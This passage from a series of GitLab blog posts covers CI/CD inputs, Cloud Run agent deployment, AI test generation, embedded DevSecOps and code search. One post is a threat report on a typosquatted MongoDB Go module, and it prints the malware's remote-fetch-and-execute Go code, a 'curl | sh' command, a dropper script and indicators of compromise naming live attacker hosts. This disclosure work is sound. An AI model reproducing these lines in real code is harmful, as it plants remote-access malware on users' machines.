The result: Instead of maintaining separate YAML files for testing and deployment jobs, you now have a single reusable template that handles both use cases safely. This approach scales to any number of environments or job types — reducing maintenance overhead, eliminating code duplication, and ensuring consistency across your entire pipeline configuration. One template to maintain instead of many, with zero risk of variable collision or configuration drift.

Validation and type safety

Another key difference between variables and inputs lies in validation capabilities. Inputs support different value types, including strings, numbers, booleans, and arrays, with validation occurring immediately when the pipeline is created. If you define an input as a boolean but pass a string, GitLab will reject the pipeline before any jobs execute, saving time and resources.

Here is an example of the enormous benefit of type validation.

Without type validation (variables):


variables:
  ENABLE_TESTS: "true"  # Always a string
  MAX_RETRIES: "3"      # Always a string

deploy_job:
  script:
    - if [ "$ENABLE_TESTS" = true ]; then  # This fails!
        echo "Running tests"
      fi
    - retry_count=$((MAX_RETRIES + 1))      # String concatenation: "31"

Problem: The boolean check fails because “true” (string) is not equal to true, (boolean).

With type validation (inputs):


spec:
  inputs:
    enable_tests:
      type: boolean
      default: true
    max_retries:
      type: number
      default: 3

      
deploy_job:
  script:
    - if [ "$[[ inputs.enable_tests ]]" = true ]; then  # Works correctly
        echo "Running tests"
      fi
    - retry_count=$(($[[ inputs.max_retries ]] + 1))    # Math works: 4

Real-world impact for variable type validation failure: A developer or a process triggers a GitLab CI/CD pipeline with ENABLE_TESTS = yes instead of true. Assuming it takes on average 30 minutes before the deployment job starts, then finally when this job kicks off, 30 minutes or longer into the pipeline run, the deployment script tries to evaluate the boolean and fails.

Imagine the impact in terms of time-to-market and, of course. developer time trying to debug why a seemingly basic deploy job failed.

With type inputs, GitLab CI/CD will immediately throw an error and provide an explicit error message regarding the type mismatch.

Security and access control

Inputs provide enhanced security through controlled parameter passing with explicit contracts that define exactly what values are expected and allowed, creating clear boundaries between parameter passing to the pipeline, In addition. inputs are immutable. Once the pipeline starts, they cannot be modified during execution, providing predictable behavior throughout the pipeline lifecycle and eliminating the security risks that come from runtime variable manipulation.

Scope and lifecycle

When you define variables using the variables: keyword at the top level of your .gitlab-ci.yml file, these variables become defaults for all jobs in your entire pipeline. When you include templates, you must consider what variables you've defined globally, as they can interact with the template's expected behavior through GitLab's variable precedence order.

Inputs are defined in CI configuration files (e.g. components or templates) and assigned values when a pipeline is triggered, allowing you to customize reusable CI configurations. They exist solely for pipeline creation and configuration time, scoped to the CI configuration file where they're defined, and become immutable references once the pipeline begins execution. Since each component maintains its own inputs, there is no risk of inputs interfering with other components or templates in your pipeline, eliminating variable collision and override issues that can occur with variable-based approaches.

Working with variables and inputs together

We recognize that teams have extensive investments in their variable-based workflows, and migration to inputs doesn't happen overnight. That's why we've developed capabilities that allow inputs and variables to work seamlessly together, providing a bridge between existing variables and the benefits of inputs while overcoming some key challenges in variable expansion.

Let's look at this real-world example.

Variable expansion in rules conditions

A common challenge occurs when using variables that contain other variable references in rules:if conditions. GitLab only expands variables one level deep during rule evaluation, which can lead to unexpected behavior:

# This doesn't work as expected

variables:
  TARGET_ENV:
    value: "${CI_COMMIT_REF_SLUG}"

deploy-job:
  rules:
    - if: '$TARGET_ENV == "production"'  # Compares "${CI_COMMIT_REF_SLUG}" != "production"
      variables:
        DEPLOY_MODE: "blue-green"

The expand_vars function solves this by forcing proper variable expansion in inputs:

spec:
  inputs:
    target_environment:
      description: "Target deployment environment"
      default: "${CI_COMMIT_REF_SLUG}"
---


deploy-job:
  rules:
    - if: '"$[[ inputs.target_environment | expand_vars ]]" == "production"'
      variables:
        DEPLOY_MODE: "blue-green"
        APPROVAL_REQUIRED: "true"
    - when: always
      variables:
        DEPLOY_MODE: "rolling"
        APPROVAL_REQUIRED: "false"
  script:
    - echo "Target: $[[ inputs.target_environment | expand_vars ]]"
    - echo "Deploy mode: ${DEPLOY_MODE}"

Why this matters

Without expand_vars, rule conditions evaluate against the literal variable reference (like "${CI_COMMIT_REF_SLUG}") rather than the expanded value (like "production"). This leads to rules that never match when you expect them to, breaking conditional pipeline logic.

Important notes about expand_vars:

Only variables that can be used with the include keyword are supported
Variables must be unmasked (not marked as protected/masked)
Nested variable expansion is not supported
Rule conditions using expand_vars must be properly quoted: '"$[[ inputs.name | expand_vars ]]" == "value"'

This pattern solves the single-level variable expansion limitation, working for any conditional logic that requires comparing fully resolved variable values.

Function chaining for advanced processing

Along with expand_vars, you can use functions like truncate to shorten values for compliance with naming restrictions (such as Kubernetes resource names), creating sophisticated parameter processing pipelines while maintaining input safety and predictability.


spec:  
  inputs:
    service_identifier:
      default: 'service-$CI_PROJECT_NAME-$CI_COMMIT_REF_SLUG'
---

create-resource:
  script:
    - resource_name=$[[ inputs.service_identifier | expand_vars | truncate(0,50) ]]

This integration capability allows you to adopt inputs gradually while leveraging your existing variable infrastructure, making the migration path much smoother.

From components only to CI pipelines

Up until GitLab 17.11, GitLab users were able to use inputs only in components and templates through the include: syntax. This limited their use to reusable CI/CD configurations, but didn't address the broader need for dynamic pipeline customization.

Pipeline-wide inputs support

Starting with GitLab 17.11, GitLab users can now use inputs to safely modify pipeline behavior across all pipeline execution contexts, replacing the traditional reliance on pipeline variables. This expanded support includes:

Scheduled pipelines: Define inputs with defaults for automated pipeline runs while allowing manual override when needed.
Downstream pipelines: Pass structured inputs to child and multi-project pipelines with proper validation and type safety.
Manual pipelines: Present users with a clean, validated form interface.

Those enhancements, with more to follow, allow teams to modernize their pipelines while maintaining backward compatibility gradually. Once inputs are fully adopted, users can disable pipeline variables to ensures a more secure and predictable CI/CD environment.

Summary

The transition from variables to inputs represents more than just a technical upgrade — it's a shift toward more maintainable, predictable, and secure CI/CD pipelines. While variables continue to serve important purposes for configuration, inputs provide the parameter-passing capabilities that teams have been working around for years.

We understand that variables are deeply embedded in existing workflows, which is why we've built bridges between the two systems. The expand_vars function and other input capabilities allow you to adopt inputs gradually while leveraging your existing variable infrastructure.

By starting with new components and templates, then gradually migrating high-impact workflows, you'll quickly see the benefits of clearer contracts, earlier error detection, and more reliable automation that scales across your organization. Additionally, moving to inputs creates an excellent foundation for leveraging GitLab's CI/CD Catalog, where reusable components with typed interfaces become powerful building blocks for your DevOps workflows but more on that in our next blog post.

Your future self and your teammates will thank you for the clarity and reliability that inputs bring to your CI/CD workflows, while still being able to work with the variable systems you've already invested in.

What's next

Looking ahead, we're expanding inputs to solve two key challenges: enhancing pipeline triggering with cascading options that dynamically adjust based on user selections, and providing job-level inputs that allow users to retry individual jobs with different parameter values. We encourage you to follow these discussions, share your feedback, and contribute to shaping these features. You can also provide general feedback on CI/CD inputs through our feedback issue.

Fast and secure AI agent deployment to Google Cloud with GitLab

2025-07-07T00:00:00.000Z

Agentic AI is transforming how we build intelligent applications, but deploying AI agents securely and efficiently can be challenging. In this tutorial, you'll learn how to deploy an AI agent built with Google's Agent Development Kit (ADK) to Cloud Run using GitLab's native integrations and CI/CD components.

What are AI agents and why do they matter?

Agentic AI represents a significant evolution in artificial intelligence. Unlike traditional generative AI tools that require constant human direction, AI agents leverage advanced language models and natural language processing to take independent action. These systems can understand requests, make decisions, and execute multistep plans to achieve goals autonomously.

This tutorial uses Google's ADK, a flexible and modular framework for developing and deploying AI agents. While optimized for Gemini and the Google ecosystem, ADK is model-agnostic, deployment-agnostic, and built for compatibility with other frameworks.

Our demo application: Canada City Advisor

To demonstrate the deployment process, we'll work with a practical example: the Canada City Advisor. This AI agent helps users find their ideal Canadian city based on their preferences and constraints.

Here's how it works:

Users input their budget requirements and lifestyle preferences.
The root agent coordinates two sub-agents:
- A budget analyzer agent that evaluates financial constraints. This draws data obtained from the Canada Mortgage and Housing Corporation.
- A lifestyle preferences agent that matches cities to user needs. This includes a weather service that uses Open-Meteo to get the proper city information.
The system generates personalized city recommendations

This multi-agent architecture showcases the power of agentic AI - different specialized agents working together to solve a complex problem. The sub-agents are only invoked when the root agent determines that budget and lifestyle analysis are needed.

Prerequisites

Before we begin, ensure you have:

A Google Cloud project with the following APIs enabled:
- Cloud Run API
- Artifact Registry API
- Vertex AI API
A GitLab project for your source code
Appropriate permissions in both GitLab and Google Cloud

Step 1: Set up IAM integration with Workload Identity Federation

The first step establishes secure, keyless authentication between GitLab and Google Cloud using Workload Identity Federation. This eliminates the need for service account keys and improves security.

In your GitLab project:

Navigate to Settings > Integrations > Google Cloud IAM.
Provide the following information:
- Project ID: Your Google Cloud project ID
- Project Number: Found in your Google Cloud console
- Pool ID: A unique identifier for your workload identity pool
- Provider ID: A unique identifier for your identity provider

GitLab will generate a script for you. Copy this script and run it in your Google Cloud Shell to create the Workload Identity Federation.

Step 2: Configure Google Artifact Registry integration

Next, we'll set up the connection to Google Artifact Registry where our container images will be stored.

In GitLab, go to Settings > Integrations > Google Artifact Registry.
Enter:
- Google Cloud Project ID: Same as in Step 1
- Repository Name: Name of an existing Artifact Registry repository
- Location: The region where your repository is located

Important: The repository must already exist in Artifact Registry. GitLab won't create a new one for you in this context.

GitLab will generate commands to set up the necessary permissions. Run these in Google Cloud Shell.

Additionally, add these roles to your service principal for Cloud Run deployment:

roles/run.admin
roles/iam.serviceAccountUser
roles/cloudbuild.builds.editor

You can add these roles using the following gcloud commands:


GCP_PROJECT_ID="" #replace

GCP_PROJECT_NUMBER="" #replace

GCP_WORKLOAD_IDENTITY_POOL="" #replace


gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/run.admin'

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/iam.serviceAccountUser'

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/cloudbuild.builds.editor'

Step 3: Create the CI/CD pipeline

Now for the exciting part – let's build our deployment pipeline! GitLab's CI/CD components make this remarkably simple.

Create a .gitlab-ci.yml file in your project root:


stages:
  - build
  - test
  - upload
  - deploy

variables:
  GITLAB_IMAGE: $CI_REGISTRY_IMAGE/main:$CI_COMMIT_SHORT_SHA
  AR_IMAGE: $GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_LOCATION-docker.pkg.dev/$GOOGLE_ARTIFACT_REGISTRY_PROJECT_ID/$GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_NAME/main:$CI_COMMIT_SHORT_SHA

build:
  image: docker:24.0.5
  stage: build
  services:
    - docker:24.0.5-dind
  before_script:
    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
  script:
    - docker build -t $GITLAB_IMAGE .
    - docker push $GITLAB_IMAGE

include:
  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Dependency-Scanning.gitlab-ci.yml
  - template: Jobs/SAST.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
  - template: Jobs/Secret-Detection.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml
  - component: gitlab.com/google-gitlab-components/artifact-registry/upload-artifact-registry@main
    inputs:
      stage: upload
      source: $GITLAB_IMAGE
      target: $AR_IMAGE
  - component: gitlab.com/google-gitlab-components/cloud-run/deploy-cloud-run@main
    inputs:
      stage: deploy
      project_id: "" #replace
      service: "canadian-city"
      region: "us-central1"
      image: $AR_IMAGE

The pipeline consists of four stages:

Build: Creates the Docker container with your AI agent
Test: Runs security scans (container scanning, dependency scanning, SAST)
Upload: Pushes the container to Artifact Registry
Deploy: Deploys to Cloud Run

The great thing about using GitLab's CI/CD components is that you only need to provide a few parameters - the components handle all the complex authentication and deployment logic.

Step 4: Deploy and test

With everything configured, it's time to deploy:

Commit your code and .gitlab-ci.yml to your GitLab repository.
The pipeline will automatically trigger.
Monitor the pipeline progress in GitLab's CI/CD interface.
Once complete, find your Cloud Run URL in the Google Cloud Console.

You'll see each stage execute:

Build stage creates your container.
Test stage runs comprehensive security scans.
Upload stage pushes to Artifact Registry.
Deploy stage creates or updates your Cloud Run service.

Security benefits

This approach provides several security advantages:

No long-lived credentials: Workload Identity Federation eliminates service account keys.
Automated security scanning: Every deployment is scanned for vulnerabilities.
Audit trail: Complete visibility of who deployed what and when.
Principle of least privilege: Fine-grained IAM roles limit access.

Summary

By combining GitLab's security features with Google Cloud's powerful AI and serverless platforms, you can deploy AI agents that are both secure and scalable. The integration between GitLab and Google Cloud eliminates much of the complexity traditionally associated with such deployments.

Use this tutorial's complete code example to get started now. Not a GitLab customer yet? Explore the DevSecOps platform with a free trial.

Enhance application quality with AI-powered test generation

2025-07-03T00:00:00.000Z

You know how critical application quality is to your customers and reputation. However, ensuring that quality through comprehensive testing can feel like an uphill battle. You're dealing with time-consuming manual processes, inconsistent test coverage across your team, and those pesky issues that somehow slip through the cracks. It's frustrating when your rating drops because quality assurance becomes a bottleneck rather than a safeguard.

Here's where GitLab Duo with Amazon Q , which delivers agentic AI throughout the software development lifecycle for AWS customers, can help transform your QA process. This AI-powered capability can automatically generate comprehensive unit tests for your code, dramatically accelerating your quality assurance workflow. Instead of spending hours writing tests manually, you can let AI analyze your code and create tests that ensure optimal coverage and consistent quality across your entire application.

How GitLab Duo with Amazon Q works

So how does this work? Let's walk through the process together. When you're working on a new feature, you start by selecting the Java class you've added to your project through a merge request. You simply navigate to your merge request and click on the "Changes" tab to see the new code you've added.

Next, you invoke Amazon Q by entering a quick action command. All you need to do is type /q test in the issue comment box. It's that simple – just a forward slash, the letter "q", and the word "test".

Once you hit enter, Amazon Q springs into action. It analyzes your selected code, understanding its structure, logic, and purpose. The AI examines your class methods, dependencies, and potential edge cases to determine what tests are needed.

Within moments, Amazon Q generates comprehensive unit test coverage for your new class. It creates tests that cover not just the happy path, but also edge cases and error conditions you might have overlooked. The generated tests follow your project's existing patterns and conventions, ensuring they integrate seamlessly with your codebase.

Why use GitLab Duo with Amazon Q?

Here's the bottom line: You started with a critical challenge – maintaining high-quality applications while dealing with time constraints and inconsistent testing practices. GitLab Duo with Amazon Q addresses this by automating the test generation process, ensuring optimal code coverage and consistent testing standards. The result? Issues are detected before deployment, your applications maintain their quality, and you can develop software faster without sacrificing reliability.

Key benefits of this feature:

Significantly reduces time spent writing unit tests
Ensures comprehensive test coverage across your codebase
Maintains consistent testing quality across all team members
Catches issues before they reach production
Accelerates your overall development velocity

Ready to see this game-changing feature in action? Watch how GitLab Duo with Amazon Q can transform your quality assurance process:

Get started with GitLab Duo with Amazon Q today

Want to learn more about GitLab Duo with Amazon Q? Visit the GitLab and AWS partner page for detailed information.

Agentic AI resources

Why now is the time for embedded DevSecOps

2025-07-01T00:00:00.000Z

For embedded systems teams, DevSecOps has traditionally seemed like an approach better suited to SaaS applications than firmware development. But this is changing. Software is now a primary differentiator in hardware products. New market expectations demand modern development practices. In response, organizations are pursuing "embedded DevSecOps."

What is embedded DevSecOps? The application of collaborative engineering practices, integrated toolchains, and automation for building, testing, and securing software to embedded systems development. Embedded DevSecOps includes necessary adaptations for hardware integration.

Convergence of market forces

Three powerful market forces are converging to compel embedded teams to modernize their development practices.

1. The software-defined product revolution

Products once defined primarily by their hardware are now differentiated by their software capabilities. The software-defined vehicle (SDV) market tells a compelling story in this regard. It's projected to grow from $213.5 billion in 2024 to $1.24 trillion by 2030, a massive 34% compound annual growth rate. The software content in these products is growing considerably. By the end of 2025, the average vehicle is expected to contain 650 million lines of code. Traditional embedded development approaches cannot handle this level of software complexity.

2. Hardware virtualization as a technical enabler

Hardware virtualization is a key technical enabler of embedded DevSecOps. Virtual electronic control units (vECUs), cloud-based ARM CPUs, and sophisticated simulation environments are becoming more prevalent. Virtual hardware allows testing that once required physical hardware.

These virtualization technologies provide a foundation for continuous integration (CI). But their value is fully realized only when integrated into an automated workflow. Combined with collaborative development practices and automated pipelines, virtual testing helps teams detect issues much earlier, when fixes are far less expensive. Without embedded DevSecOps practices and tooling to orchestrate these virtual resources, organizations can't capitalize on the virtualization trend.

3. The competitive and economic reality

Three interrelated forces are reshaping the competitive landscape for embedded development:

The talent war has shifted decisively. As an embedded systems leader at a GitLab customer explained, “No embedded engineers graduating from college today know legacy tools like Perforce. They know Git. These young engineers will work at a company for six months on legacy tools, then quit.” Companies using outdated tools may lose their engineering future.
This talent advantage translates into competitive superiority. Tech-forward companies that attract top engineers with modern practices achieve remarkable results. For example, in 2024, SpaceX performed more orbital launches than the rest of the world combined. Tech-forward companies excel at software development and embrace a modern development culture. This, among other things, creates efficiencies that legacy companies struggle to match.
The rising costs of embedded development — driven by long feedback cycles — create an urgent need for embedded DevSecOps. When developers have to wait weeks to test code on hardware test benches, productivity remains inherently low. Engineers lose context and must switch contexts when results arrive. The problem worsens when defects enter the picture. Bugs become more expensive to fix the later they're discovered. Long feedback cycles magnify this problem in embedded systems.

Organizations are adopting embedded DevSecOps to help combat these challenges.

Priority transformation areas

Based on these market forces, forward-thinking embedded systems leaders are implementing embedded DevSecOps in the following ways.

From hardware bottlenecks to continuous testing

Hardware-testing bottlenecks represent one of the most significant constraints in traditional embedded development. These delays create the unfavorable economics described earlier — when developers wait weeks for hardware access, defect costs spiral. Addressing this challenge requires a multifaceted approach including:

Automating the orchestration of expensive shared hardware test benches among embedded developers
Integrating both SIL (Software-in-the-Loop) and HIL (Hardware-in-the-Loop) testing into automated CI pipelines
Standardizing builds with version-controlled environments

Embedded developers can accomplish this with GitLab's On-Premises Device Cloud, a CI/CD component. Through automating the orchestration of firmware tests on virtual and real hardware, teams are better positioned to reduce feedback cycles from weeks to hours. They also can catch more bugs early on in the software development lifecycle.

Automating compliance and security governance

Embedded systems face strict regulatory requirements. Manual compliance processes are unsustainable. Leading organizations are transforming how they comply with these requirements by:

Replacing manual workflows with automated compliance frameworks
Integrating specialized functional safety, security, and code quality tools into automated continuous integration pipelines
Automating approval workflows, enforcing code reviews, and maintaining audit trails
Configuring compliance frameworks for specific standards like ISO 26262 or DO-178C

This approach enables greater compliance maturity without additional headcount — turning what was once a burden into a competitive advantage. One leading electric vehicle (EV) manufacturer executes 120,000 CI/CD jobs per day with GitLab, many of which include compliance checks. And they can fix and deploy bug fixes to vehicles within an hour of discovery. This level of scale and speed would be extremely difficult without automated compliance workflows.

Enabling collaborative innovation

Historically, for valid business and technical reasons, embedded developers have largely worked alone at their desks. Collaboration has been limited. Innovative organizations break down these barriers by enabling shared code visibility through integrated source control and CI/CD workflows. These modern practices attract and retain engineers while unlocking innovation that would remain hidden in isolated workflows. As one director of DevOps at a tech-forward automotive manufacturer (a GitLab customer) explains: "It's really critical for us to have a single pane of glass that we can look at and see the statuses. The developers, when they bring a merge request, are aware of the status of a given workflow in order to move as fast as possible." This transparency accelerates innovation, enabling automakers to rapidly iterate on software features that differentiate their vehicles in an increasingly competitive market.

The window of opportunity

Embedded systems leaders have a clear window of opportunity to gain a competitive advantage through DevSecOps adoption. But the window won't stay open forever. Software continues to become the primary differentiator in embedded products, and the gap between leaders and laggards will only widen. Organizations that successfully adopt DevSecOps will reduce costs, accelerate time-to-market, and unlock innovation that differentiates them in the market. The embedded systems leaders of tomorrow are the ones embracing DevSecOps today.

While this article explored why now is the critical time for embedded teams to adopt DevSecOps, you may be wondering about the practical steps to get started. Learn how to put these concepts into action with our guide: 4 ways to accelerate embedded development with GitLab.

GitLab catches MongoDB Go module supply chain attack

2025-06-30T00:00:00.000Z

Software supply chain attacks via malicious dependencies continue to be one of the most significant security threats to modern software development. The widespread use of open source components has enabled development teams to build applications rapidly, but it has also widened the attack surface area. The growing ecosystem of third-party packages presents numerous opportunities for attackers to exploit dependencies through techniques like typosquatting, dependency confusion, and package impersonation, making it increasingly challenging for developers to distinguish legitimate packages from malicious imposters.

To address this challenge, GitLab's Vulnerability Research team recently developed an automated detection system designed to proactively identify malicious dependencies in software supply chains. The system combines multiple detection techniques that work in concert:

Automated typosquatting detection, which identifies suspicious naming patterns
Semantic code analysis, which flags potentially malicious behaviors like network requests or command executions
AI-assisted initial screening for advanced payload and obfuscation detection

This multi-layered approach is used by the vulnerability research team to continuously scan newly published dependencies across major ecosystems, providing early warning of supply chain attacks.

Using this detection system, GitLab recently identified a live typosquatting attack in the wild that leveraged a malicious MongoDB Go module. Below are details on the attack and how GitLab works to keep supply chains safe.

Executive summary: A MongoDB module that's not quite right

Our detection system flagged a newly published Go module called github.com/qiniiu/qmgo, closely mimicking the popular MongoDB module github.com/qiniu/qmgo. The legitimate module describes itself as "The Go driver for MongoDB" and has gained traction in the Go community.

To disguise the malicious module as legitimate, the threat actor used a GitHub username nearly identical to the one associated with the real module with one subtle change: they added one “i” (qiniu → qiniiu). To the casual observer scrolling through search results or auto-complete suggestions, this difference would be very easy to overlook.

The new module’s code was a working copy of the legitimate qmgo module. However, malicious code was inserted into the NewClient function in client.go, a function that developers would naturally call when initializing their MongoDB connection. Concealing malicious code within a function made the payload less likely to be executed during potential runtime security analysis, while ensuring that it would execute from normal usage in real applications.

After reporting the malicious module, it was removed within approximately 19 hours of our initial report. However, the threat actor quickly adapted, publishing a second typosquatted version (github.com/qiiniu/qmgo) just four days later with identical malicious code. This follow-up attack was also detected and taken down roughly one hour after initial discovery. The rapid redeployment demonstrates the persistent nature of these attacks and highlights why proactive detection is crucial in minimizing exposure windows.

Technical deep dive: Peeling back the layers

The threat actor took steps to hide the attack. The malicious payload used a multilayered approach, starting with a compact code snippet that triggered a chain of remote payload downloads:

txt, err := script.Get("https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html").String()  
if err == nil {  
    txt2, err := script.Get(string(strings.Replace(txt, "\n", "", -1))).String()  
    if err == nil {  
        exec.Command("/bin/sh", "-c", string(txt2)).Start()  
    }  
}

The attack unfolds in four distinct layers:

Layer 1: The code fetches update.html from another repository owned by the typosquat account qiiniu/vue-element-admin. The file contained a single line:

https://img.googlex.cloud/seed.php

Layer 2: The code then fetches https://img.googlex.cloud/seed.php, which returns a single shell command, which is executed:

curl -s http://207.148.110.29:80/logon61.gif|sh

Layer 3: The command tells the system to fetch http://207.148.110.29:80/logon61.gif using curl and execute the response as a shell script. The shell script downloads what appears to be an MP3 file (chainelli.mp3) to /tmp/vod, makes it executable, runs it, and immediately deletes it:

#!/bin/sh  
rm -rf /tmp/vod  
curl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  
chmod 777 /tmp/vod  
/tmp/vod  
rm -rf /tmp/vod

Layer 4: The chainelli.mp3 file is actually a statically-linked, stripped ELF Go binary designed to establish persistent remote access. Once executed, the malware attempts to connect to its command and control server at ellipal.spoolsv.cyou on Port 443 (both TCP and UDP), using a custom encrypted communication protocol with a hardcoded RSA key. From there, it provides the threat actor with remote administration capabilities:

Complete remote shell access and one-off command execution
Screenshot captures
SOCKS proxy functionality to make connections through the compromised machine
Configurable sleep interval between check-ins with the command and control server to avoid detection
Standard remote access trojan features like filesystem browsing and upload/download

They're back (already)

Just four days after GitLab reported the initial malicious module and saw it removed, github.com/qiiniu/qmgo appeared – the second typosquatted version with identical malicious code. This quick redeployment demonstrates the persistent nature of these attacks and highlights how threat actors adapt quickly to takedown efforts.

GitLab’s approach: Finding needles in haystacks

The initial discovery and persistence of this attack validated our approach to proactive dependency monitoring and threat detection. GitLab’s detection system combines multiple techniques to identify malicious dependencies:

Typosquatting detection: GitLab monitors newly published dependencies and looks for packages that exhibit signs of various typosquatting strategies.

Semantic heuristics: Our system statically analyzes code for patterns like network requests, command executions, and other behaviors typical of malicious payloads.

AI-assisted analysis: A large language model does the initial analysis of the suspicious parts of the code to help us weed out obvious false positives, detect complex payloads, and identify obfuscation techniques used to hide malicious intent.

Human review: A human receives an alert to verify the finding and to perform advanced analysis.

Recommendations: Staying ahead of persistent supply chain threats

This attack highlights the ongoing challenges in securing software supply chains. The multilayered obfuscation and rapid redeployment after takedown demonstrate that threat actors are willing to invest significant effort in targeting popular dependencies.

The quick pivot to new typosquatted packages after our initial report highlights a fundamental weakness in the current ecosystems: package managers typically only remove malicious dependencies after they've been published, discovered, and reported by the community. This reactive approach leaves a dangerous window where developers can unknowingly consume compromised packages. Proactive monitoring and detection systems like the one GitLab has developed can help close this gap by identifying threats during the publication process itself.

We've provided indicators of compromise (IOCs) in the next section, which you can use in your monitoring systems to detect this specific campaign.

Indicators of compromise

IOC	Description
`github.com/qiniiu/qmgo`	Malicious Go module
`github.com/qiiniu/qmgo`	Malicious Go module
`https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html`	Payload delivery URL
`https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html`	Payload delivery URL
`https://img.googlex.cloud/seed.php`	Payload delivery URL
`http://207.148.110.29:80/logon61.gif`	Payload delivery URL
`http://207.148.110.29:80/chainelli.mp3`	Payload delivery URL
`img.googlex.cloud`	Payload delivery host
`207.148.110.29`	Payload delivery host
`ellipal.spoolsv.cyou`	Command & Control host
`6ada952c592f286692c59028c5e0fc3fa589759f`	SHA-1 checksum of chainelli.mp3 remote administration malware
`8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c`	SHA-256 checksum of chainelli.mp3 remote administration malware
`/tmp/vod`	Temporary download location of chainelli.mp3 remote administration malware

How GitLab helps secure the software supply chain

Malicious dependencies, like the MongoDB Go module attack, highlight why securing the software supply chain requires more than just CVE monitoring. GitLab’s DevSecOps platform includes Application Security Testing scanners like Software Composition Analysis in the development lifecycle, helping teams catch vulnerable or malicious packages before they reach production.

Paired with research efforts like this, GitLab aims to enable developers to build applications that are secure from the start without compromising on development velocity.

Timeline

2025-06-01T09:31: GitLab reports github.com/qiniiu/qmgo to Go Security
2025-06-01T09:43: GitLab reports github.com/qiniiu/qmgo to GitHub
2025-06-01T10:14: GitLab reports ellipal.spoolsv.cyou (188.166.213.194) to the IP block owner
2025-06-02T04:03: Go Security takes down github.com/qiniiu/qmgo
2025-06-02T09:57: The IP block owner suspends 188.166.213.194
2025-06-03T09:15: GitHub suspends github.com/qiniiu
2025-06-05T17:15: GitLab reports github.com/qiiniu/qmgo to Go Security
2025-06-05T17:33: GitLab reports github.com/qiiniu/qmgo to GitHub
2025-06-05T17:45: Go Security takes down github.com/qiiniu/qmgo
2025-06-06T12:25: GitHub suspends github.com/qiiniu

Exact Code Search: Find code faster across repositories

2025-06-25T00:00:00.000Z

TL;DR: What if you could find any line of code across 48 TB of repositories in milliseconds? GitLab's new Exact Code Search makes this possible, delivering pinpoint precision, powerful regex support, and contextual multi-line results that transform how teams work with large codebases.

Why traditional code search is challenging

Anyone who works with code knows the frustration of searching across repositories. Whether you're a developer debugging an issue, a DevOps engineer examining configurations, a security analyst searching for vulnerabilities, a technical writer updating documentation, or a manager reviewing implementation, you know exactly what you need, but traditional search tools often fail you.

These conventional tools return dozens of false positives, lack the context needed to understand results, and slow to a crawl as codebases grow. The result? Valuable time spent hunting for needles in haystacks instead of building, securing, or improving your software.

GitLab's code search functionality has historically been backed by Elasticsearch or OpenSearch. While these are excellent for searching issues, merge requests, comments, and other data containing natural language, they weren't specifically designed for code. After evaluating numerous options, we developed a better solution.

Introducing Exact Code Search: Three game-changing capabilities

Enter GitLab's Exact Code Search, currently in beta testing and powered by Zoekt (pronounced "zookt", Dutch for "search"). Zoekt is an open-source code search engine originally created by Google and now maintained by Sourcegraph, specifically designed for fast, accurate code search at scale. We've enhanced it with GitLab-specific integrations, enterprise-scale improvements, and seamless permission system integration.

This feature revolutionizes how you find and understand code with three key capabilities:

1. Exact Match mode: Zero false positives

When toggled to Exact Match mode, the search engine returns only results that match your query exactly as entered, eliminating false positives. This precision is invaluable when:

Searching for specific error messages
Looking for particular function signatures
Finding instances of specific variable names

2. Regular Expression mode: Powerful pattern matching

For complex search needs, Regular Expression mode allows you to craft sophisticated search patterns:

Find functions following specific naming patterns
Locate variables matching certain constraints
Identify potential security vulnerabilities using pattern matching

3. Multiple-line matches: See code in context

Instead of seeing just a single line with your matching term, you get the surrounding context that's crucial for understanding the code. This eliminates the need to click through to files for basic comprehension, significantly accelerating your workflow.

From features to workflows: Real-world use cases and impact

Let's see how these capabilities translate to real productivity gains in everyday development scenarios:

Debugging: From error message to root cause in seconds

Before Exact Code Search: Copy an error message, search, wade through dozens of partial matches in comments and documentation, click through multiple files, and eventually find the actual code.

With Exact Code Search:

Copy the exact error message
Paste it into Exact Code Search with Exact Match mode
Instantly find the precise location where the error is thrown, with surrounding context

Impact: Reduce debugging time from minutes to seconds, eliminating the frustration of false positives.

Code exploration: Master unfamiliar codebases quickly

Before Exact Code Search: Browse through directories, make educated guesses about file locations, open dozens of files, and slowly build a mental map of the codebase.

With Exact Code Search:

Search for key methods or classes with Exact Match mode
Review multiple line matches to understand implementation details
Use Regular Expression mode to find similar patterns across the codebase

Impact: Build a mental map of code structure in minutes rather than hours, dramatically accelerating onboarding and cross-team collaboration.

Refactoring with confidence

Before Exact Code Search: Attempt to find all instances of a method, miss some occurrences, and introduce bugs through incomplete refactoring.

With Exact Code Search:

Use Exact Match mode to find all occurrences of methods or variables
Review context to understand usage patterns
Plan your refactoring with complete information about impact

Impact: Eliminate the "missed instance" bugs that often plague refactoring efforts, improving code quality and reducing rework.

Security auditing: Finding vulnerable patterns

Security teams can:

Create regex patterns matching known vulnerable code
Search across all repositories in a namespace
